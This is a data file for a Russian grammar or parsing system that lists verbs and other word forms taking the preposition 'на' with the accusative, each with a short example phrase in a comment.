rus_verbs:развалить{}, // развалить на кирпичи rus_verbs:разломить{}, // разломить на несколько частей rus_verbs:примерить{}, // примерить на себя rus_verbs:лепиться{}, // лепиться на стену rus_verbs:скопить{}, // скопить на старость rus_verbs:затратить{}, // затратить на ликвидацию последствий rus_verbs:притащиться{}, // притащиться на гулянку rus_verbs:осерчать{}, // осерчать на прислугу rus_verbs:натравить{}, // натравить на медведя rus_verbs:ссыпать{}, // ссыпать на землю rus_verbs:подвозить{}, // подвозить на пристань rus_verbs:мобилизовать{}, // мобилизовать на сборы rus_verbs:смотаться{}, // смотаться на работу rus_verbs:заглядеться{}, // заглядеться на девчонок rus_verbs:таскаться{}, // таскаться на работу rus_verbs:разгружать{}, // разгружать на транспортер rus_verbs:потреблять{}, // потреблять на кондиционирование инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять на базу деепричастие:сгоняв{}, rus_verbs:посылаться{}, // посылаться на разведку rus_verbs:окрыситься{}, // окрыситься на кого-то rus_verbs:отлить{}, // отлить на сковороду rus_verbs:шикнуть{}, // шикнуть на детишек rus_verbs:уповать{}, // уповать на бескорысную помощь rus_verbs:класться{}, // класться на стол rus_verbs:поковылять{}, // поковылять на выход rus_verbs:навевать{}, // навевать на собравшихся скуку rus_verbs:накладываться{}, // накладываться на грунтовку rus_verbs:наноситься{}, // наноситься на чистую кожу // rus_verbs:запланировать{}, // запланировать на среду rus_verbs:кувыркнуться{}, // кувыркнуться на землю rus_verbs:гавкнуть{}, // гавкнуть на хозяина rus_verbs:перестроиться{}, // перестроиться на новый лад rus_verbs:расходоваться{}, // расходоваться на образование rus_verbs:дуться{}, // дуться на бабушку rus_verbs:перетаскивать{}, // перетаскивать на рабочий стол rus_verbs:издаться{}, // издаться на деньги спонсоров rus_verbs:смещаться{}, // смещаться на несколько миллиметров rus_verbs:зазывать{}, // зазывать на новогоднюю распродажу rus_verbs:пикировать{}, // пикировать на окопы rus_verbs:чертыхаться{}, // чертыхаться на мешающихся детей rus_verbs:зудить{}, // зудить на ухо rus_verbs:подразделяться{}, // подразделяться на группы rus_verbs:изливаться{}, // изливаться на землю rus_verbs:помочиться{}, // помочиться на траву rus_verbs:примерять{}, // примерять на себя rus_verbs:разрядиться{}, // разрядиться на землю rus_verbs:мотнуться{}, // мотнуться на крышу rus_verbs:налегать{}, // налегать на весла rus_verbs:зацокать{}, // зацокать на куриц rus_verbs:наниматься{}, // наниматься на корабль rus_verbs:сплевывать{}, // сплевывать на землю rus_verbs:настучать{}, // настучать на саботажника rus_verbs:приземляться{}, // приземляться на брюхо rus_verbs:наталкиваться{}, // наталкиваться на объективные трудности rus_verbs:посигналить{}, // посигналить нарушителю, выехавшему на встречную полосу rus_verbs:серчать{}, // серчать на нерасторопную помощницу rus_verbs:сваливать{}, // сваливать на подоконник rus_verbs:засобираться{}, // засобираться на работу rus_verbs:распилить{}, // распилить на одинаковые бруски //rus_verbs:умножать{}, // умножать на константу rus_verbs:копировать{}, // копировать на диск rus_verbs:накрутить{}, // накрутить на руку rus_verbs:навалить{}, // навалить на телегу rus_verbs:натолкнуть{}, // натолкнуть на свежую мысль rus_verbs:шлепаться{}, // шлепаться на бетон rus_verbs:ухлопать{}, // ухлопать на скупку произведений искусства rus_verbs:замахиваться{}, // замахиваться на авторитетнейшее мнение rus_verbs:посягнуть{}, // посягнуть на святое rus_verbs:разменять{}, // разменять на мелочь rus_verbs:откатываться{}, // откатываться на заранее подготовленные позиции rus_verbs:усаживать{}, // усаживать на скамейку rus_verbs:натаскать{}, // натаскать на поиск наркотиков rus_verbs:зашикать{}, // зашикать на кошку rus_verbs:разломать{}, // разломать на равные части rus_verbs:приглашаться{}, // приглашаться на сцену rus_verbs:присягать{}, // присягать на верность rus_verbs:запрограммировать{}, // запрограммировать на постоянную уборку rus_verbs:расщедриться{}, // расщедриться на новый компьютер rus_verbs:насесть{}, // насесть на двоечников rus_verbs:созывать{}, // созывать на собрание rus_verbs:позариться{}, // позариться на чужое добро rus_verbs:перекидываться{}, // перекидываться на соседние здания rus_verbs:наползать{}, // наползать на неповрежденную ткань rus_verbs:изрубить{}, // изрубить на мелкие кусочки rus_verbs:наворачиваться{}, // наворачиваться на глаза rus_verbs:раскричаться{}, // раскричаться на всю округу rus_verbs:переползти{}, // переползти на светлую сторону rus_verbs:уполномочить{}, // уполномочить на разведовательную операцию rus_verbs:мочиться{}, // мочиться на трупы убитых врагов rus_verbs:радировать{}, // радировать на базу rus_verbs:промотать{}, // промотать на начало rus_verbs:заснять{}, // заснять на видео rus_verbs:подбивать{}, // подбивать на матч-реванш rus_verbs:наплевать{}, // наплевать на справедливость rus_verbs:подвывать{}, // подвывать на луну rus_verbs:расплескать{}, // расплескать на пол rus_verbs:польститься{}, // польститься на бесплатный сыр rus_verbs:помчать{}, // помчать на работу rus_verbs:съезжать{}, // съезжать на обочину rus_verbs:нашептать{}, // нашептать кому-то на ухо rus_verbs:наклеить{}, // наклеить на доску объявлений rus_verbs:завозить{}, // завозить на склад rus_verbs:заявляться{}, // заявляться на любимую работу rus_verbs:наглядеться{}, // наглядеться на воробьев rus_verbs:хлопнуться{}, // хлопнуться на живот rus_verbs:забредать{}, // забредать на поляну rus_verbs:посягать{}, // посягать на исконные права собственности rus_verbs:сдвигать{}, // сдвигать на одну позицию rus_verbs:спрыгивать{}, // спрыгивать на землю rus_verbs:сдвигаться{}, // сдвигаться на две позиции rus_verbs:разделать{}, // разделать на орехи rus_verbs:разлагать{}, // разлагать на элементарные элементы rus_verbs:обрушивать{}, // обрушивать на головы врагов rus_verbs:натечь{}, // натечь на пол rus_verbs:политься{}, // вода польется на землю rus_verbs:успеть{}, // Они успеют на поезд. инфинитив:мигрировать{ вид:несоверш }, глагол:мигрировать{ вид:несоверш }, деепричастие:мигрируя{}, инфинитив:мигрировать{ вид:соверш }, глагол:мигрировать{ вид:соверш }, деепричастие:мигрировав{}, rus_verbs:двинуться{}, // Мы скоро двинемся на дачу. rus_verbs:подойти{}, // Он не подойдёт на должность секретаря. rus_verbs:потянуть{}, // Он не потянет на директора. rus_verbs:тянуть{}, // Он не тянет на директора. rus_verbs:перескакивать{}, // перескакивать с одного примера на другой rus_verbs:жаловаться{}, // Он жалуется на нездоровье. rus_verbs:издать{}, // издать на деньги спонсоров rus_verbs:показаться{}, // показаться на глаза rus_verbs:высаживать{}, // высаживать на необитаемый остров rus_verbs:вознестись{}, // вознестись на самую вершину славы rus_verbs:залить{}, // залить на youtube rus_verbs:закачать{}, // закачать на youtube rus_verbs:сыграть{}, // сыграть на деньги rus_verbs:экстраполировать{}, // Формулу можно экстраполировать на случай нескольких переменных инфинитив:экстраполироваться{ вид:несоверш}, // Ситуация легко экстраполируется на случай нескольких переменных глагол:экстраполироваться{ вид:несоверш}, инфинитив:экстраполироваться{ вид:соверш}, глагол:экстраполироваться{ вид:соверш}, деепричастие:экстраполируясь{}, инфинитив:акцентировать{вид:соверш}, // оратор акцентировал внимание слушателей на новый аспект проблемы глагол:акцентировать{вид:соверш}, инфинитив:акцентировать{вид:несоверш}, глагол:акцентировать{вид:несоверш}, прилагательное:акцентировавший{вид:несоверш}, //прилагательное:акцентировавший{вид:соверш}, прилагательное:акцентирующий{}, деепричастие:акцентировав{}, деепричастие:акцентируя{}, rus_verbs:бабахаться{}, // он бабахался на пол rus_verbs:бабахнуться{}, // мальчил бабахнулся на асфальт rus_verbs:батрачить{}, // Крестьяне батрачили на хозяина rus_verbs:бахаться{}, // Наездники бахались на землю rus_verbs:бахнуться{}, // Наездник опять бахнулся на землю rus_verbs:благословить{}, // батюшка благословил отрока на подвиг rus_verbs:благословлять{}, // батюшка благословляет отрока на подвиг rus_verbs:блевануть{}, // Он блеванул на землю rus_verbs:блевать{}, // Он блюет на землю rus_verbs:бухнуться{}, // Наездник бухнулся на землю rus_verbs:валить{}, // Ветер валил деревья на землю rus_verbs:спилить{}, // Спиленное дерево валится на землю rus_verbs:ввезти{}, // Предприятие ввезло товар на таможню rus_verbs:вдохновить{}, // Фильм вдохновил мальчика на поход в лес rus_verbs:вдохновиться{}, // Мальчик вдохновился на поход rus_verbs:вдохновлять{}, // Фильм вдохновляет на поход в лес rus_verbs:вестись{}, // Не ведись на эти уловки! rus_verbs:вешать{}, // Гости вешают одежду на вешалку rus_verbs:вешаться{}, // Одежда вешается на вешалки rus_verbs:вещать{}, // радиостанция вещает на всю страну rus_verbs:взбираться{}, // Туристы взбираются на заросший лесом холм rus_verbs:взбредать{}, // Что иногда взбредает на ум rus_verbs:взбрести{}, // Что-то взбрело на ум rus_verbs:взвалить{}, // Мама взвалила на свои плечи всё домашнее хозяйство rus_verbs:взваливаться{}, // Все домашнее хозяйство взваливается на мамины плечи rus_verbs:взваливать{}, // Не надо взваливать всё на мои плечи rus_verbs:взглянуть{}, // Кошка взглянула на мышку rus_verbs:взгромождать{}, // Мальчик взгромождает стул на стол rus_verbs:взгромождаться{}, // Мальчик взгромождается на стол rus_verbs:взгромоздить{}, // Мальчик взгромоздил стул на стол rus_verbs:взгромоздиться{}, // Мальчик взгромоздился на стул rus_verbs:взирать{}, // Очевидцы взирали на непонятный объект rus_verbs:взлетать{}, // Фабрика фейерверков взлетает на воздух rus_verbs:взлететь{}, // Фабрика фейерверков взлетела на воздух rus_verbs:взобраться{}, // Туристы взобрались на гору rus_verbs:взойти{}, // Туристы взошли на гору rus_verbs:взъесться{}, // Отец взъелся на непутевого сына rus_verbs:взъяриться{}, // Отец взъярился на непутевого сына rus_verbs:вкатить{}, // рабочие вкатили бочку на пандус rus_verbs:вкатывать{}, // рабочик вкатывают бочку на пандус rus_verbs:влиять{}, // Это решение влияет на всех игроков рынка rus_verbs:водворить{}, // водворить нарушителя на место rus_verbs:водвориться{}, // водвориться на свое место rus_verbs:водворять{}, // водворять вещь на свое место rus_verbs:водворяться{}, // водворяться на свое место rus_verbs:водружать{}, // водружать флаг на флагшток rus_verbs:водружаться{}, // Флаг водружается на флагшток rus_verbs:водрузить{}, // водрузить флаг на флагшток rus_verbs:водрузиться{}, // Флаг водрузился на вершину горы rus_verbs:воздействовать{}, // Излучение воздействует на кожу rus_verbs:воззреть{}, // воззреть на поле боя rus_verbs:воззриться{}, // воззриться на поле боя rus_verbs:возить{}, // возить туристов на гору rus_verbs:возлагать{}, // Многочисленные посетители возлагают цветы на могилу rus_verbs:возлагаться{}, // Ответственность возлагается на начальство rus_verbs:возлечь{}, // возлечь на лежанку rus_verbs:возложить{}, // возложить цветы на могилу поэта rus_verbs:вознести{}, // вознести кого-то на вершину славы rus_verbs:возноситься{}, // возносится на вершину успеха rus_verbs:возносить{}, // возносить счастливчика на вершину успеха rus_verbs:подниматься{}, // Мы поднимаемся на восьмой этаж rus_verbs:подняться{}, // Мы поднялись на восьмой этаж rus_verbs:вонять{}, // Кусок сыра воняет на всю округу rus_verbs:воодушевлять{}, // Идеалы воодушевляют на подвиги rus_verbs:воодушевляться{}, // Люди воодушевляются на подвиги rus_verbs:ворчать{}, // Старый пес ворчит на прохожих rus_verbs:воспринимать{}, // воспринимать сообщение на слух rus_verbs:восприниматься{}, // сообщение плохо воспринимается на слух rus_verbs:воспринять{}, // воспринять сообщение на слух rus_verbs:восприняться{}, // восприняться на слух rus_verbs:воссесть{}, // Коля воссел на трон rus_verbs:вправить{}, // вправить мозг на место rus_verbs:вправлять{}, // вправлять мозги на место rus_verbs:временить{}, // временить с выходом на пенсию rus_verbs:врубать{}, // врубать на полную мощность rus_verbs:врубить{}, // врубить на полную мощность rus_verbs:врубиться{}, // врубиться на полную мощность rus_verbs:врываться{}, // врываться на собрание rus_verbs:вскарабкаться{}, // вскарабкаться на утёс rus_verbs:вскарабкиваться{}, // вскарабкиваться на утёс rus_verbs:вскочить{}, // вскочить на ноги rus_verbs:всплывать{}, // всплывать на поверхность воды rus_verbs:всплыть{}, // всплыть на поверхность воды rus_verbs:вспрыгивать{}, // вспрыгивать на платформу rus_verbs:вспрыгнуть{}, // вспрыгнуть на платформу rus_verbs:встать{}, // встать на защиту чести и достоинства rus_verbs:вторгаться{}, // вторгаться на чужую территорию rus_verbs:вторгнуться{}, // вторгнуться на чужую территорию rus_verbs:въезжать{}, // въезжать на пандус rus_verbs:наябедничать{}, // наябедничать на соседа по парте rus_verbs:выблевать{}, // выблевать завтрак на пол rus_verbs:выблеваться{}, // выблеваться на пол rus_verbs:выблевывать{}, // выблевывать завтрак на пол rus_verbs:выблевываться{}, // выблевываться на пол rus_verbs:вывезти{}, // вывезти мусор на свалку rus_verbs:вывесить{}, // вывесить белье на просушку rus_verbs:вывести{}, // вывести собаку на прогулку rus_verbs:вывешивать{}, // вывешивать белье на веревку rus_verbs:вывозить{}, // вывозить детей на природу rus_verbs:вызывать{}, // Начальник вызывает на ковер rus_verbs:выйти{}, // выйти на свободу rus_verbs:выкладывать{}, // выкладывать на всеобщее обозрение rus_verbs:выкладываться{}, // выкладываться на всеобщее обозрение rus_verbs:выливать{}, // выливать на землю rus_verbs:выливаться{}, // выливаться на землю rus_verbs:вылить{}, // вылить жидкость на землю rus_verbs:вылиться{}, // Топливо вылилось на землю rus_verbs:выложить{}, // выложить на берег rus_verbs:выменивать{}, // выменивать золото на хлеб rus_verbs:вымениваться{}, // Золото выменивается на хлеб rus_verbs:выменять{}, // выменять золото на хлеб rus_verbs:выпадать{}, // снег выпадает на землю rus_verbs:выплевывать{}, // выплевывать на землю rus_verbs:выплевываться{}, // выплевываться на землю rus_verbs:выплескать{}, // выплескать на землю rus_verbs:выплескаться{}, // выплескаться на землю rus_verbs:выплескивать{}, // выплескивать на землю rus_verbs:выплескиваться{}, // выплескиваться на землю rus_verbs:выплывать{}, // выплывать на поверхность rus_verbs:выплыть{}, // выплыть на поверхность rus_verbs:выплюнуть{}, // выплюнуть на пол rus_verbs:выползать{}, // выползать на свежий воздух rus_verbs:выпроситься{}, // выпроситься на улицу rus_verbs:выпрыгивать{}, // выпрыгивать на свободу rus_verbs:выпрыгнуть{}, // выпрыгнуть на перрон rus_verbs:выпускать{}, // выпускать на свободу rus_verbs:выпустить{}, // выпустить на свободу rus_verbs:выпучивать{}, // выпучивать на кого-то глаза rus_verbs:выпучиваться{}, // глаза выпучиваются на кого-то rus_verbs:выпучить{}, // выпучить глаза на кого-то rus_verbs:выпучиться{}, // выпучиться на кого-то rus_verbs:выронить{}, // выронить на землю rus_verbs:высадить{}, // высадить на берег rus_verbs:высадиться{}, // высадиться на берег rus_verbs:высаживаться{}, // высаживаться на остров rus_verbs:выскальзывать{}, // выскальзывать на землю rus_verbs:выскочить{}, // выскочить на сцену rus_verbs:высморкаться{}, // высморкаться на землю rus_verbs:высморкнуться{}, // высморкнуться на землю rus_verbs:выставить{}, // выставить на всеобщее обозрение rus_verbs:выставиться{}, // выставиться на всеобщее обозрение rus_verbs:выставлять{}, // выставлять на всеобщее обозрение rus_verbs:выставляться{}, // выставляться на всеобщее обозрение инфинитив:высыпать{вид:соверш}, // высыпать на землю инфинитив:высыпать{вид:несоверш}, глагол:высыпать{вид:соверш}, глагол:высыпать{вид:несоверш}, деепричастие:высыпав{}, деепричастие:высыпая{}, прилагательное:высыпавший{вид:соверш}, //++прилагательное:высыпавший{вид:несоверш}, прилагательное:высыпающий{вид:несоверш}, rus_verbs:высыпаться{}, // высыпаться на землю rus_verbs:вытаращивать{}, // вытаращивать глаза на медведя rus_verbs:вытаращиваться{}, // вытаращиваться на медведя rus_verbs:вытаращить{}, // вытаращить глаза на медведя rus_verbs:вытаращиться{}, // вытаращиться на медведя rus_verbs:вытекать{}, // вытекать на землю rus_verbs:вытечь{}, // вытечь на землю rus_verbs:выучиваться{}, // выучиваться на кого-то rus_verbs:выучиться{}, // выучиться на кого-то rus_verbs:посмотреть{}, // посмотреть на экран rus_verbs:нашить{}, // нашить что-то на одежду rus_verbs:придти{}, // придти на помощь кому-то инфинитив:прийти{}, // прийти на помощь кому-то глагол:прийти{}, деепричастие:придя{}, // Придя на вокзал, он поспешно взял билеты. rus_verbs:поднять{}, // поднять на вершину rus_verbs:согласиться{}, // согласиться на ничью rus_verbs:послать{}, // послать на фронт rus_verbs:слать{}, // слать на фронт rus_verbs:надеяться{}, // надеяться на лучшее rus_verbs:крикнуть{}, // крикнуть на шалунов rus_verbs:пройти{}, // пройти на пляж rus_verbs:прислать{}, // прислать на экспертизу rus_verbs:жить{}, // жить на подачки rus_verbs:становиться{}, // становиться на ноги rus_verbs:наслать{}, // наслать на кого-то rus_verbs:принять{}, // принять на заметку rus_verbs:собираться{}, // собираться на экзамен rus_verbs:оставить{}, // оставить на всякий случай rus_verbs:звать{}, // звать на помощь rus_verbs:направиться{}, // направиться на прогулку rus_verbs:отвечать{}, // отвечать на звонки rus_verbs:отправиться{}, // отправиться на прогулку rus_verbs:поставить{}, // поставить на пол rus_verbs:обернуться{}, // обернуться на зов rus_verbs:отозваться{}, // отозваться на просьбу rus_verbs:закричать{}, // закричать на собаку rus_verbs:опустить{}, // опустить на землю rus_verbs:принести{}, // принести на пляж свой жезлонг rus_verbs:указать{}, // указать на дверь rus_verbs:ходить{}, // ходить на занятия rus_verbs:уставиться{}, // уставиться на листок rus_verbs:приходить{}, // приходить на экзамен rus_verbs:махнуть{}, // махнуть на пляж rus_verbs:явиться{}, // явиться на допрос rus_verbs:оглянуться{}, // оглянуться на дорогу rus_verbs:уехать{}, // уехать на заработки rus_verbs:повести{}, // повести на штурм rus_verbs:опуститься{}, // опуститься на колени //rus_verbs:передать{}, // передать на проверку rus_verbs:побежать{}, // побежать на занятия rus_verbs:прибыть{}, // прибыть на место службы rus_verbs:кричать{}, // кричать на медведя rus_verbs:стечь{}, // стечь на землю rus_verbs:обратить{}, // обратить на себя внимание rus_verbs:подать{}, // подать на пропитание rus_verbs:привести{}, // привести на съемки rus_verbs:испытывать{}, // испытывать на животных rus_verbs:перевести{}, // перевести на жену rus_verbs:купить{}, // купить на заемные деньги rus_verbs:собраться{}, // собраться на встречу rus_verbs:заглянуть{}, // заглянуть на огонёк rus_verbs:нажать{}, // нажать на рычаг rus_verbs:поспешить{}, // поспешить на праздник rus_verbs:перейти{}, // перейти на русский язык rus_verbs:поверить{}, // поверить на честное слово rus_verbs:глянуть{}, // глянуть на обложку rus_verbs:зайти{}, // зайти на огонёк rus_verbs:проходить{}, // проходить на сцену rus_verbs:глядеть{}, // глядеть на актрису //rus_verbs:решиться{}, // решиться на прыжок rus_verbs:пригласить{}, // пригласить на танец rus_verbs:позвать{}, // позвать на экзамен rus_verbs:усесться{}, // усесться на стул rus_verbs:поступить{}, // поступить на математический факультет rus_verbs:лечь{}, // лечь на живот rus_verbs:потянуться{}, // потянуться на юг rus_verbs:присесть{}, // присесть на корточки rus_verbs:наступить{}, // наступить на змею rus_verbs:заорать{}, // заорать на попрошаек rus_verbs:надеть{}, // надеть на голову rus_verbs:поглядеть{}, // поглядеть на девчонок rus_verbs:принимать{}, // принимать на гарантийное обслуживание rus_verbs:привезти{}, // привезти на испытания rus_verbs:рухнуть{}, // рухнуть на асфальт rus_verbs:пускать{}, // пускать на корм rus_verbs:отвести{}, // отвести на приём rus_verbs:отправить{}, // отправить на утилизацию rus_verbs:двигаться{}, // двигаться на восток rus_verbs:нести{}, // нести на пляж rus_verbs:падать{}, // падать на руки rus_verbs:откинуться{}, // откинуться на спинку кресла rus_verbs:рявкнуть{}, // рявкнуть на детей rus_verbs:получать{}, // получать на проживание rus_verbs:полезть{}, // полезть на рожон rus_verbs:направить{}, // направить на дообследование rus_verbs:приводить{}, // приводить на проверку rus_verbs:потребоваться{}, // потребоваться на замену rus_verbs:кинуться{}, // кинуться на нападавшего rus_verbs:учиться{}, // учиться на токаря rus_verbs:приподнять{}, // приподнять на один метр rus_verbs:налить{}, // налить на стол rus_verbs:играть{}, // играть на деньги rus_verbs:рассчитывать{}, // рассчитывать на подмогу rus_verbs:шепнуть{}, // шепнуть на ухо rus_verbs:швырнуть{}, // швырнуть на землю rus_verbs:прыгнуть{}, // прыгнуть на оленя rus_verbs:предлагать{}, // предлагать на выбор rus_verbs:садиться{}, // садиться на стул rus_verbs:лить{}, // лить на землю rus_verbs:испытать{}, // испытать на животных rus_verbs:фыркнуть{}, // фыркнуть на детеныша rus_verbs:годиться{}, // мясо годится на фарш rus_verbs:проверить{}, // проверить высказывание на истинность rus_verbs:откликнуться{}, // откликнуться на призывы rus_verbs:полагаться{}, // полагаться на интуицию rus_verbs:покоситься{}, // покоситься на соседа rus_verbs:повесить{}, // повесить на гвоздь инфинитив:походить{вид:соверш}, // походить на занятия глагол:походить{вид:соверш}, деепричастие:походив{}, прилагательное:походивший{}, rus_verbs:помчаться{}, // помчаться на экзамен rus_verbs:ставить{}, // ставить на контроль rus_verbs:свалиться{}, // свалиться на землю rus_verbs:валиться{}, // валиться на землю rus_verbs:подарить{}, // подарить на день рожденья rus_verbs:сбежать{}, // сбежать на необитаемый остров rus_verbs:стрелять{}, // стрелять на поражение rus_verbs:обращать{}, // обращать на себя внимание rus_verbs:наступать{}, // наступать на те же грабли rus_verbs:сбросить{}, // сбросить на землю rus_verbs:обидеться{}, // обидеться на друга rus_verbs:устроиться{}, // устроиться на стажировку rus_verbs:погрузиться{}, // погрузиться на большую глубину rus_verbs:течь{}, // течь на землю rus_verbs:отбросить{}, // отбросить на землю rus_verbs:метать{}, // метать на дно rus_verbs:пустить{}, // пустить на переплавку rus_verbs:прожить{}, // прожить на пособие rus_verbs:полететь{}, // полететь на континент rus_verbs:пропустить{}, // пропустить на сцену rus_verbs:указывать{}, // указывать на ошибку rus_verbs:наткнуться{}, // наткнуться на клад rus_verbs:рвануть{}, // рвануть на юг rus_verbs:ступать{}, // ступать на землю rus_verbs:спрыгнуть{}, // спрыгнуть на берег rus_verbs:заходить{}, // заходить на огонёк rus_verbs:нырнуть{}, // нырнуть на глубину rus_verbs:рвануться{}, // рвануться на свободу rus_verbs:натянуть{}, // натянуть на голову rus_verbs:забраться{}, // забраться на стол rus_verbs:помахать{}, // помахать на прощание rus_verbs:содержать{}, // содержать на спонсорскую помощь rus_verbs:приезжать{}, // приезжать на праздники rus_verbs:проникнуть{}, // проникнуть на территорию rus_verbs:подъехать{}, // подъехать на митинг rus_verbs:устремиться{}, // устремиться на волю rus_verbs:посадить{}, // посадить на стул rus_verbs:ринуться{}, // ринуться на голкипера rus_verbs:подвигнуть{}, // подвигнуть на подвиг rus_verbs:отдавать{}, // отдавать на перевоспитание rus_verbs:отложить{}, // отложить на черный день rus_verbs:убежать{}, // убежать на танцы rus_verbs:поднимать{}, // поднимать на верхний этаж rus_verbs:переходить{}, // переходить на цифровой сигнал rus_verbs:отослать{}, // отослать на переаттестацию rus_verbs:отодвинуть{}, // отодвинуть на другую половину стола rus_verbs:назначить{}, // назначить на должность rus_verbs:осесть{}, // осесть на дно rus_verbs:торопиться{}, // торопиться на экзамен rus_verbs:менять{}, // менять на еду rus_verbs:доставить{}, // доставить на шестой этаж rus_verbs:заслать{}, // заслать на проверку rus_verbs:дуть{}, // дуть на воду rus_verbs:сослать{}, // сослать на каторгу rus_verbs:останавливаться{}, // останавливаться на отдых rus_verbs:сдаваться{}, // сдаваться на милость победителя rus_verbs:сослаться{}, // сослаться на презумпцию невиновности rus_verbs:рассердиться{}, // рассердиться на дочь rus_verbs:кинуть{}, // кинуть на землю rus_verbs:расположиться{}, // расположиться на ночлег rus_verbs:осмелиться{}, // осмелиться на подлог rus_verbs:шептать{}, // шептать на ушко rus_verbs:уронить{}, // уронить на землю rus_verbs:откинуть{}, // откинуть на спинку кресла rus_verbs:перенести{}, // перенести на рабочий стол rus_verbs:сдаться{}, // сдаться на милость победителя rus_verbs:светить{}, // светить на дорогу rus_verbs:мчаться{}, // мчаться на бал rus_verbs:нестись{}, // нестись на свидание rus_verbs:поглядывать{}, // поглядывать на экран rus_verbs:орать{}, // орать на детей rus_verbs:уложить{}, // уложить на лопатки rus_verbs:решаться{}, // решаться на поступок rus_verbs:попадать{}, // попадать на карандаш rus_verbs:сплюнуть{}, // сплюнуть на землю rus_verbs:снимать{}, // снимать на телефон rus_verbs:опоздать{}, // опоздать на работу rus_verbs:посылать{}, // посылать на проверку rus_verbs:погнать{}, // погнать на пастбище rus_verbs:поступать{}, // поступать на кибернетический факультет rus_verbs:спускаться{}, // спускаться на уровень моря rus_verbs:усадить{}, // усадить на диван rus_verbs:проиграть{}, // проиграть на спор rus_verbs:прилететь{}, // прилететь на фестиваль rus_verbs:повалиться{}, // повалиться на спину rus_verbs:огрызнуться{}, // Собака огрызнулась на хозяина rus_verbs:задавать{}, // задавать на выходные rus_verbs:запасть{}, // запасть на девочку rus_verbs:лезть{}, // лезть на забор rus_verbs:потащить{}, // потащить на выборы rus_verbs:направляться{}, // направляться на экзамен rus_verbs:определять{}, // определять на вкус rus_verbs:поползти{}, // поползти на стену rus_verbs:поплыть{}, // поплыть на берег rus_verbs:залезть{}, // залезть на яблоню rus_verbs:сдать{}, // сдать на мясокомбинат rus_verbs:приземлиться{}, // приземлиться на дорогу rus_verbs:лаять{}, // лаять на прохожих rus_verbs:перевернуть{}, // перевернуть на бок rus_verbs:ловить{}, // ловить на живца rus_verbs:отнести{}, // отнести животное на хирургический стол rus_verbs:плюнуть{}, // плюнуть на условности rus_verbs:передавать{}, // передавать на проверку rus_verbs:нанять{}, // Босс нанял на работу еще несколько человек rus_verbs:разозлиться{}, // Папа разозлился на сына из-за плохих оценок по математике инфинитив:рассыпаться{вид:несоверш}, // рассыпаться на мелкие детали инфинитив:рассыпаться{вид:соверш}, глагол:рассыпаться{вид:несоверш}, глагол:рассыпаться{вид:соверш}, деепричастие:рассыпавшись{}, деепричастие:рассыпаясь{}, прилагательное:рассыпавшийся{вид:несоверш}, прилагательное:рассыпавшийся{вид:соверш}, прилагательное:рассыпающийся{}, rus_verbs:зарычать{}, // Медведица зарычала на медвежонка rus_verbs:призвать{}, // призвать на сборы rus_verbs:увезти{}, // увезти на дачу rus_verbs:содержаться{}, // содержаться на пожертвования rus_verbs:навести{}, // навести на скопление телескоп rus_verbs:отправляться{}, // отправляться на утилизацию rus_verbs:улечься{}, // улечься на животик rus_verbs:налететь{}, // налететь на препятствие rus_verbs:перевернуться{}, // перевернуться на спину rus_verbs:улететь{}, // улететь на родину rus_verbs:ложиться{}, // ложиться на бок rus_verbs:класть{}, // класть на место rus_verbs:отреагировать{}, // отреагировать на выступление rus_verbs:доставлять{}, // доставлять на дом rus_verbs:отнять{}, // отнять на благо правящей верхушки rus_verbs:ступить{}, // ступить на землю rus_verbs:сводить{}, // сводить на концерт знаменитой рок-группы rus_verbs:унести{}, // унести на работу rus_verbs:сходить{}, // сходить на концерт rus_verbs:потратить{}, // потратить на корм и наполнитель для туалета все деньги rus_verbs:соскочить{}, // соскочить на землю rus_verbs:пожаловаться{}, // пожаловаться на соседей rus_verbs:тащить{}, // тащить на замену rus_verbs:замахать{}, // замахать руками на паренька rus_verbs:заглядывать{}, // заглядывать на обед rus_verbs:соглашаться{}, // соглашаться на равный обмен rus_verbs:плюхнуться{}, // плюхнуться на мягкий пуфик rus_verbs:увести{}, // увести на осмотр rus_verbs:успевать{}, // успевать на контрольную работу rus_verbs:опрокинуть{}, // опрокинуть на себя rus_verbs:подавать{}, // подавать на апелляцию rus_verbs:прибежать{}, // прибежать на вокзал rus_verbs:отшвырнуть{}, // отшвырнуть на замлю rus_verbs:привлекать{}, // привлекать на свою сторону rus_verbs:опереться{}, // опереться на палку rus_verbs:перебраться{}, // перебраться на маленький островок rus_verbs:уговорить{}, // уговорить на новые траты rus_verbs:гулять{}, // гулять на спонсорские деньги rus_verbs:переводить{}, // переводить на другой путь rus_verbs:заколебаться{}, // заколебаться на один миг rus_verbs:зашептать{}, // зашептать на ушко rus_verbs:привстать{}, // привстать на цыпочки rus_verbs:хлынуть{}, // хлынуть на берег rus_verbs:наброситься{}, // наброситься на еду rus_verbs:напасть{}, // повстанцы, напавшие на конвой rus_verbs:убрать{}, // книга, убранная на полку rus_verbs:попасть{}, // путешественники, попавшие на ничейную территорию rus_verbs:засматриваться{}, // засматриваться на девчонок rus_verbs:застегнуться{}, // застегнуться на все пуговицы rus_verbs:провериться{}, // провериться на заболевания rus_verbs:проверяться{}, // проверяться на заболевания rus_verbs:тестировать{}, // тестировать на профпригодность rus_verbs:протестировать{}, // протестировать на профпригодность rus_verbs:уходить{}, // отец, уходящий на работу rus_verbs:налипнуть{}, // снег, налипший на провода rus_verbs:налипать{}, // снег, налипающий на провода rus_verbs:улетать{}, // Многие птицы улетают осенью на юг. rus_verbs:поехать{}, // она поехала на встречу с заказчиком rus_verbs:переключать{}, // переключать на резервную линию rus_verbs:переключаться{}, // переключаться на резервную линию rus_verbs:подписаться{}, // подписаться на обновление rus_verbs:нанести{}, // нанести на кожу rus_verbs:нарываться{}, // нарываться на неприятности rus_verbs:выводить{}, // выводить на орбиту rus_verbs:вернуться{}, // вернуться на родину rus_verbs:возвращаться{}, // возвращаться на родину прилагательное:падкий{}, // Он падок на деньги. прилагательное:обиженный{}, // Он обижен на отца. rus_verbs:косить{}, // Он косит на оба глаза. rus_verbs:закрыть{}, // Он забыл закрыть дверь на замок. прилагательное:готовый{}, // Он готов на всякие жертвы. rus_verbs:говорить{}, // Он говорит на скользкую тему. прилагательное:глухой{}, // Он глух на одно ухо. rus_verbs:взять{}, // Он взял ребёнка себе на колени. rus_verbs:оказывать{}, // Лекарство не оказывало на него никакого действия. rus_verbs:вести{}, // Лестница ведёт на третий этаж. rus_verbs:уполномочивать{}, // уполномочивать на что-либо глагол:спешить{ вид:несоверш }, // Я спешу на поезд. rus_verbs:брать{}, // Я беру всю ответственность на себя. rus_verbs:произвести{}, // Это произвело на меня глубокое впечатление. 